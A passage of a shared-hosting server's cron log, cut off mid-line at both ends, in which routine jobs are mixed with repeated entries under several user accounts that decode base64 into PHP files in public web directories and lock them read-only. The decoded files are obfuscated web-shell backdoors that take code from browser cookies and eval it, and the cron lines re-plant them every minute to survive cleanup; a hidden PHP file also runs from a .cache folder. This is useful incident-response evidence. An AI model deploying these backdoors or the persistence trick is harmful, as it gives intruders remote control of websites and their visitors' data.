VlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 02:53:02 medusa CROND[1793]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_processpaneluser.cronlock /usr/sbin/processpaneluserspackages)
Mar  2 02:53:02 medusa CROND[1794]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 02:53:02 medusa CROND[1795]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 02:53:02 medusa CROND[1796]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 02:53:02 medusa CROND[1797]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 02:53:02 medusa CROND[1801]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 02:53:02 medusa CROND[1798]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 02:54:02 medusa CROND[6224]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 02:54:02 medusa CROND[6225]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 02:54:02 medusa CROND[6226]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 02:54:02 medusa CROND[6227]: (root) CMD (/usr/bin/flock -n /var/run/python_cllib_detector_cronlock /usr/share/python-cllib/detector.py)
Mar  2 02:54:02 medusa CROND[6228]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 02:54:02 medusa CROND[6233]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 02:54:02 medusa CROND[6234]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 02:54:02 medusa CROND[6235]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 02:54:02 medusa CROND[6236]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 02:54:02 medusa CROND[6242]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 02:54:02 medusa CROND[6246]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 02:54:02 medusa CROND[6247]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 02:54:02 medusa CROND[6256]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  2 02:55:01 medusa CROND[14222]: (root) CMD (/usr/local/cpanel/3rdparty/bin/php -d disable_functions="" /usr/local/cpanel/whostmgr/docroot/cgi/softaculous/do_backups.php >> /dev/null 2>&1)
Mar  2 02:55:01 medusa CROND[14297]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 02:55:01 medusa CROND[14329]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 02:55:01 medusa CROND[14438]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 02:55:02 medusa CROND[14477]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 02:55:02 medusa CROND[14476]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Mar  2 02:55:02 medusa CROND[14482]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 02:55:02 medusa CROND[14480]: (root) CMD (/usr/bin/flock -n /var/run/edition_watcher.cronlock /usr/sbin/cloudlinux-edition-watcher check &> /dev/null)
Mar  2 02:55:02 medusa CROND[14493]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 02:55:02 medusa CROND[14495]: (root) CMD (   bash -c "sleep $((RANDOM % 60))" ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Mar  2 02:55:02 medusa CROND[14500]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7C